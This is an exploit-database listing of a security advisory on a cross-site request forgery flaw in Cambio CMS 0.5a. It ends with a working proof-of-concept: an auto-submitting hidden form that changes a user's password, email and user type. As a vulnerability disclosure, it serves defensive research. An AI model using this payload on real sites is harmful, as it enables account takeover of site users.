Cambio 0.5a - Cross-Site Request Forgery

Author: High-Tech Bridge SA
type: webapps
platform: php
port: 
date_added: 2011-01-11 
date_updated: 2011-01-11 
verified: 0 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comcambiocms_nightly_r37.zip

Vulnerability ID: HTB22768
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_cambio.html
Product: Cambio
Vendor: Joram van den Boezem ( http://www.cambiocms.org/ )
Vulnerable Version: 0.5a nightly r37 and probably prior versions
Vendor Notification: 28 December 2010
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Low
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
The vulnerability exists due to failure in the "modules/user/user.admin.php" script to properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin/index.php?module=user&task=save&elmid=" method="post" name="main">
<input type="hidden" name="id" value="USERID">
<input type="hidden" name="module" value="100">
<input type="hidden" name="newpass1" value="newpass">
<input type="hidden" name="newpass2" value="newpass">
<input type="hidden" name="email" value="email@example.com">
<input type="hidden" name="usertype_id" value="2">
</form>
<script>
document.main.submit();
</script>